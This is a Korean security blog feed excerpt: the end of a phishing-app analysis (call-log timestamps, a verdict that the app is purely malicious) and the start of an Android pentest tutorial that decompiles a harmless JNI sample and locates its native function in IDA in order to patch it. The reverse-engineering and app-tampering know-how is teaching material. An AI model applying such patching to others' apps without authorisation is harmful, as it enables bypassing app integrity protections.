&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;blob&quot; data-origin-width=&quot;1021&quot; data-origin-height=&quot;939&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/N0bkK/btsKJ7TQppQ/0IK7KHc8Ie2Y29bRQTtEB1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/N0bkK/btsKJ7TQppQ/0IK7KHc8Ie2Y29bRQTtEB1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/N0bkK/btsKJ7TQppQ/0IK7KHc8Ie2Y29bRQTtEB1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FN0bkK%2FbtsKJ7TQppQ%2F0IK7KHc8Ie2Y29bRQTtEB1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1021&quot; height=&quot;939&quot; data-filename=&quot;blob&quot; data-origin-width=&quot;1021&quot; data-origin-height=&quot;939&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;시간의 경우 유닉스 타임스탬프를 사용하고 있으며&lt;span&gt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;사람이 읽을 수 있도록 변환한 결과는 다음과 같다&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;background-color: #bfbfbf; text-align: center;&quot; width=&quot;342&quot;&gt;&lt;span&gt;&lt;b&gt;&lt;span style=&quot;color: #000000;&quot;&gt;Unix Timestamp&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #bfbfbf; text-align: center;&quot; width=&quot;224&quot;&gt;&lt;span&gt;&lt;b&gt;&lt;span style=&quot;color: #000000;&quot;&gt;변환된 시간&lt;span&gt;(GMT+9)&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #bfbfbf; text-align: center;&quot; width=&quot;110&quot;&gt;&lt;span&gt;&lt;b&gt;&lt;span style=&quot;color: #000000;&quot;&gt;비고&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;text-align: center;&quot; width=&quot;342&quot;&gt;&lt;span&gt;&lt;span&gt;1705369934238&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot; width=&quot;224&quot;&gt;&lt;span&gt;&lt;span&gt;2024. 01. 16 10:52:14&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot; width=&quot;110&quot;&gt;&lt;span&gt;&lt;b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;text-align: center;&quot; width=&quot;342&quot;&gt;&lt;span&gt;&lt;span&gt;1705296739419&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot; width=&quot;224&quot;&gt;&lt;span&gt;&lt;span&gt;2024. 01. 15 02:32:19&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot; width=&quot;110&quot;&gt;&lt;span&gt;&lt;b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;단말에 저장된 통화기록과 비교했을 때 같은 정보인 것을 확인할 수 있다&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;443&quot; data-origin-height=&quot;930&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/brLyjx/btsKJ6tPMed/oyzsk07Uy8eTqUQUs8KSc0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/brLyjx/btsKJ6tPMed/oyzsk07Uy8eTqUQUs8KSc0/img.png&quot; data-alt=&quot;단말에 저장된 통화 기록&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/brLyjx/btsKJ6tPMed/oyzsk07Uy8eTqUQUs8KSc0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbrLyjx%2FbtsKJ6tPMed%2Foyzsk07Uy8eTqUQUs8KSc0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;251&quot; height=&quot;527&quot; data-origin-width=&quot;443&quot; data-origin-height=&quot;930&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;단말에 저장된 통화 기록&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;이성의 사진&lt;span&gt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;동영상 등을 확인할 수 있는 기능을 제공하는 것이 아닌 앱 내 저장된 파일을 로드하는 것을 확인하였다&lt;span&gt;.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;b&gt;&lt;span style=&quot;color: #ff0000;&quot;&gt;이성의 사진이나 영상 등의 제공을 위한 어떠한 기능의 구현이나 코드는 존재하지 않으며&lt;span&gt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;악성 행위만을 수행하고 있다&lt;span&gt;.&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #ffffff;&quot;&gt;#피싱앱 대응, #피싱앱, #해킹앱, #몸캠피싱, #피싱앱분석, #피싱앱신고&lt;/span&gt;&lt;/p&gt;</description>
      <category>Report/Project</category>
      <category>오블완</category>
      <category>티스토리챌린지</category>
      <author>땅콩킹땅콩</author>
      <guid isPermaLink="true">https://gomguk.tistory.com/277</guid>
      <comments>https://gomguk.tistory.com/277#entry277comment</comments>
      <pubDate>Mon, 18 Nov 2024 19:19:31 +0900</pubDate>
    </item>
    <item>
      <title>[안드로이드 모의해킹] 코드 패치와 앱 무결성 검증 (NDK 코드 분석)</title>
      <link>https://gomguk.tistory.com/276</link>
      <description>&lt;blockquote style=&quot;background-color: #fcfcfc; color: #666666; text-align: left;&quot; data-ke-style=&quot;style3&quot;&gt;&lt;span style=&quot;font-family: AppleSDGothicNeo-Regular, 'Malgun Gothic', '맑은 고딕', dotum, 돋움, sans-serif;&quot;&gt;&lt;b&gt;직접 연구하여 작성한 자료입니다. 공식 출처가 명시되지 않은 자료의 무단 복제, 사용을 금지합니다.&lt;br /&gt;공격 기법은 학습용, 허가된 환경에서 실습 바랍니다. 실 운영망 대상 공격은 처벌받습니다. (정보통신망법 제48조 1항)&lt;br /&gt;&lt;/b&gt;&lt;/span&gt;&lt;/blockquote&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: AppleSDGothicNeo-Regular, 'Malgun Gothic', '맑은 고딕', dotum, 돋움, sans-serif;&quot;&gt;이전 글에 이어지는 글입니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://blog.peanutz.site/273&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;[안드로이드 모의해킹] 코드 패치와 앱 무결성 검증 (smali 코드 분석)&lt;/a&gt;&lt;/p&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&amp;nbsp;&lt;/h2&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: AppleSDGothicNeo-Regular, 'Malgun Gothic', '맑은 고딕', dotum, 돋움, sans-serif;&quot;&gt;&lt;b&gt;개요&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;b&gt;어셈블리 코드 수정&lt;span&gt;(NDK)&lt;/span&gt;&lt;/b&gt;&lt;/h3&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;안드로이드&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;NDK&lt;/span&gt;로 개발된 코드 또한 수정이 가능하다&lt;span&gt;.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;직접 예제 코드를 작성하고 변조하는 실습을 진행한다&lt;span&gt;.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;안드로이드 스튜디오에서 새 프로젝트 생성을 선택하고&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;Native C++&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;프로젝트를 생성한다&lt;span&gt;.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;네이티브 언어로 함수를 정의한다&lt;span&gt;.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;함수의 기능은 이전의 실습과 유사하게 두 정수의 합을 반환하는 기능을 수행한다&lt;span&gt;.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;상용 앱에서는 더 복잡한 기능을 수행하지만&lt;span&gt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;실습에서는 분석하는 방법을 설명하기 위해 간단한 로직으로 구성하였다&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1731834911599&quot; style=&quot;background-color: #f8f8f8; color: #383a42; text-align: start;&quot; data-ke-type=&quot;codeblock&quot; data-ke-language=&quot;cpp&quot;&gt;&lt;code&gt;// native-lib.cpp
#include &amp;lt;jni.h&amp;gt;
#include &amp;lt;string&amp;gt;
extern &quot;C&quot; JNIEXPORT jstring JNICALL
Java_com_gomguk_modifyjni_MainActivity_stringFromJNI(
        JNIEnv* env,
        jobject /* this */) {
    std::string hello = &quot;Hello from C++&quot;;
    return env-&amp;gt;NewStringUTF(hello.c_str());
}
extern &quot;C&quot;
JNIEXPORT jint JNICALL
        Java_com_gomguk_modifyjni_MainActivity_addNumbers(
                JNIEnv * env,
                jobject,
                jint a,
                jint b ) {
        return a + b;
}&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;다음으로&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;JNI&lt;/span&gt;함수를 호출할 안드로이드 액티비티를 선언한다&lt;span&gt;.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;메인 액티비티에서 다음과 같이 개발한&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;JNI&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;함수를 호출한다&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1731834911600&quot; style=&quot;background-color: #f8f8f8; color: #383a42; text-align: start;&quot; data-ke-type=&quot;codeblock&quot; data-ke-language=&quot;kotlin&quot;&gt;&lt;code&gt;// MainActivity.kt
package com.gomguk.modifyjni
import androidx.appcompat.app.AppCompatActivity
import android.os.Bundle
import com.gomguk.modifyjni.databinding.ActivityMainBinding
class MainActivity : AppCompatActivity() {
    companion object {
        // 앱 시작 시 'modifyjni' 라이브러리 로드
        init {
            System.loadLibrary(&quot;modifyjni&quot;)
        }
    }
    external fun stringFromJNI(): String
    external fun addNumbers(a: Int, b: Int): Int
    private lateinit var binding: ActivityMainBinding
    override fun onCreate(savedInstanceState: Bundle?) {
        super.onCreate(savedInstanceState)
        binding = ActivityMainBinding.inflate(layoutInflater)
        setContentView(binding.root)
        val sum = addNumbers(7, 5).toString()
        // 네이티브 함수 호출
        binding.sampleText.text = stringFromJNI()
        binding.resultText.text = &quot;7 + 5\nResult: $sum&quot;
    }&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;코드 작성을 완료하였다면 빌드 파일&lt;span&gt;(build.gradle)&lt;/span&gt;에서 앱에서 지원할 아키텍처&lt;span&gt;(ABI)&lt;/span&gt;를 필터링한다&lt;span&gt;. NDK&lt;/span&gt;로 개발한 코드는 다음의 필터 선언으로 다양한 아키텍처를 지원한다&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1731834911601&quot; style=&quot;background-color: #f8f8f8; color: #383a42; text-align: start;&quot; data-ke-type=&quot;codeblock&quot; data-ke-language=&quot;kotlin&quot;&gt;&lt;code&gt;android {
    namespace = &quot;com.gomguk.modifyjni&quot;
    compileSdk = 33
    defaultConfig {
        applicationId = &quot;com.gomguk.modifyjni&quot;
        minSdk = 24
        targetSdk = 33
        versionCode = 1
        versionName = &quot;1.0&quot;
        testInstrumentationRunner = &quot;androidx.test.runner.AndroidJUnitRunner&quot;
        ndk{
            abiFilters.addAll(arrayOf(&quot;armeabi-v7a&quot;, &quot;x86&quot;, &quot;arm64-v8a&quot;, &quot;x86_64&quot;))
        }
    }
... 생략
}&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;앱을 빌드하고&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;APK&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;파일을 설치 후 실행하면 텍스트 위젯으로 바인딩한&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;JNI&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;함수의 실행 결과가 출력되는 것을 확인할 수 있다&lt;span&gt;.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;자바에서&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;7&lt;/span&gt;과&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;5&lt;/span&gt;의 두 개의 정수를 함수의 인자로 전달하였고&lt;span&gt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;네이티브 함수에서 덧셈을 수행하여 결과를 반환한다&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;449&quot; data-origin-height=&quot;906&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/I8lSC/btsKyoBBV4y/TB09deKnI8uakhy30xa7BK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/I8lSC/btsKyoBBV4y/TB09deKnI8uakhy30xa7BK/img.png&quot; data-alt=&quot;예제 코드 앱 실행 화면&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/I8lSC/btsKyoBBV4y/TB09deKnI8uakhy30xa7BK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FI8lSC%2FbtsKyoBBV4y%2FTB09deKnI8uakhy30xa7BK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;189&quot; height=&quot;381&quot; data-origin-width=&quot;449&quot; data-origin-height=&quot;906&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;예제 코드 앱 실행 화면&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;코드 패치를 통해 덧셈이 아닌 뺄셈의 결과를 출력하도록 변경해본다&lt;span&gt;.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;개발한 앱을 디컴파일 하고 메인 액티비티를 먼저 분석한다&lt;span&gt;. JNI&lt;/span&gt;를 통해 네이티브 코드로 작성된 함수를 호출하는 경우 자바 코드에서&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;System.loadLibrary()&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;함수를 이용한다&lt;span&gt;.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;이 함수를 통해 미리 컴파일된 네이티브 라이브러리를 자바 코드에 연결할 수 있다&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1731834911602&quot; style=&quot;background-color: #f8f8f8; color: #383a42; text-align: start;&quot; data-ke-type=&quot;codeblock&quot; data-ke-language=&quot;java&quot;&gt;&lt;code&gt;//MainActivity.class(디컴파일)
public final class MainActivity extends AppCompatActivity {
    public static final Companion Companion = new Companion(null);
    private ActivityMainBinding binding;
    public final native int addNumbers(int i, int i2);
    public final native String stringFromJNI();
    /* compiled from: MainActivity.kt */
    @Metadata(d1 = {&quot;\u0000\f\n\u0002\u0018\u0002\n\u0002\u0010\u0000\n\u0002\b\u0002\b\u0086\u0003\u0018\u00002\u00020\u0001B\u0007\b\u0002&amp;cent;\u0006\u0002\u0010\u0002&amp;uml;\u0006\u0003&quot;}, d2 = {&quot;Lcom/gomguk/modifyjni/MainActivity$Companion;&quot;, &quot;&quot;, &quot;()V&quot;, &quot;app_debug&quot;}, k = 1, mv = {1, 9, 0}, xi = ConstraintLayout.LayoutParams.Table.LAYOUT_CONSTRAINT_VERTICAL_CHAINSTYLE)
    /* loaded from: classes4.dex */
    public static final class Companion {
        public /* synthetic */ Companion(DefaultConstructorMarker defaultConstructorMarker) {
            this();
        }
        private Companion() {
        }
    }
    static {
        System.loadLibrary(&quot;modifyjni&quot;);
    }
//..생략&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;앱에서 네이티브로 작성된 라이브러리를 호출하고 있음을 확인할 수 있고 이를 통해 분석할 지점이 추가로 있음을 확인한다&lt;span&gt;.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;액티비티 내에 네이티브 함수와 상호작용하고 있는 코드가 있는지 추가로 분석한다&lt;span&gt;.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;실습 코드에서는&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;i&gt;&lt;span&gt;&lt;span style=&quot;background-color: #ffff00; color: #a71d5d;&quot;&gt;public&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;background-color: #ffff00; color: #010101;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span style=&quot;background-color: #ffff00; color: #a71d5d;&quot;&gt;final&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;background-color: #ffff00; color: #010101;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span style=&quot;background-color: #ffff00; color: #a71d5d;&quot;&gt;native&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;background-color: #ffff00; color: #010101;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span style=&quot;background-color: #ffff00; color: #066de2;&quot;&gt;int&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;background-color: #ffff00; color: #010101;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;addNumbers(&lt;/span&gt;&lt;span&gt;&lt;span style=&quot;background-color: #ffff00; color: #066de2;&quot;&gt;int&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;background-color: #ffff00; color: #010101;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;i,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span style=&quot;background-color: #ffff00; color: #066de2;&quot;&gt;int&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;background-color: #ffff00; color: #010101;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;i2);&lt;/span&gt;&lt;/i&gt;와&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;i&gt;&lt;span&gt;&lt;span style=&quot;background-color: #ffff00; color: #a71d5d;&quot;&gt;public&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;background-color: #ffff00; color: #010101;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span style=&quot;background-color: #ffff00; color: #a71d5d;&quot;&gt;final&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;background-color: #ffff00; color: #010101;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span style=&quot;background-color: #ffff00; color: #a71d5d;&quot;&gt;native&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;background-color: #ffff00; color: #010101;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span style=&quot;background-color: #ffff00; color: #066de2;&quot;&gt;String&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;background-color: #ffff00; color: #010101;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;stringFromJNI();&lt;/span&gt;&lt;/i&gt;코드가 네이티브 코드로 작성된 함수와 상호작용하고 있다&lt;span&gt;.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;선언한 함수는 자바 코드에서 선언한 함수와 동일하게 함수명과 인자를 전달하여 호출할 수 있다&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;네이티브 코드 분석을 위해 라이브러리 폴더&lt;span&gt;(lib)&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;하위의 아키텍처를 선택한 후 공유 오브젝트&lt;span&gt;(so)&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;파일을 분석한다&lt;span&gt;.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;실습에서는&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;x86&lt;/span&gt;을 기준으로 설명한다&lt;span&gt;. IDA&lt;/span&gt;로 파일을 열고 문자열 검색 기능을 이용하여 함수의 이름을 검색하면 함수의 주소로 바로 접근할 수 있다&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;661&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bdOIBN/btsKvCOLZ9t/nyDNNNZHSKdU27m6a5xVKk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bdOIBN/btsKvCOLZ9t/nyDNNNZHSKdU27m6a5xVKk/img.png&quot; data-alt=&quot;함수명 검색 및 결과 확인&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bdOIBN/btsKvCOLZ9t/nyDNNNZHSKdU27m6a5xVKk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbdOIBN%2FbtsKvCOLZ9t%2FnyDNNNZHSKdU27m6a5xVKk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;653&quot; height=&quot;457&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;661&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;함수명 검색 및 결과 확인&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;함수의 의사 코드&lt;span&gt;(pseudo code)&lt;/span&gt;를 분석했을 때 인자 두개&lt;span&gt;(a3, a4)&lt;/span&gt;를 덧셈한 결과를 반환하고 있으므로&lt;span&gt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;분석하려는 함수가 일치함을 확인한다&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
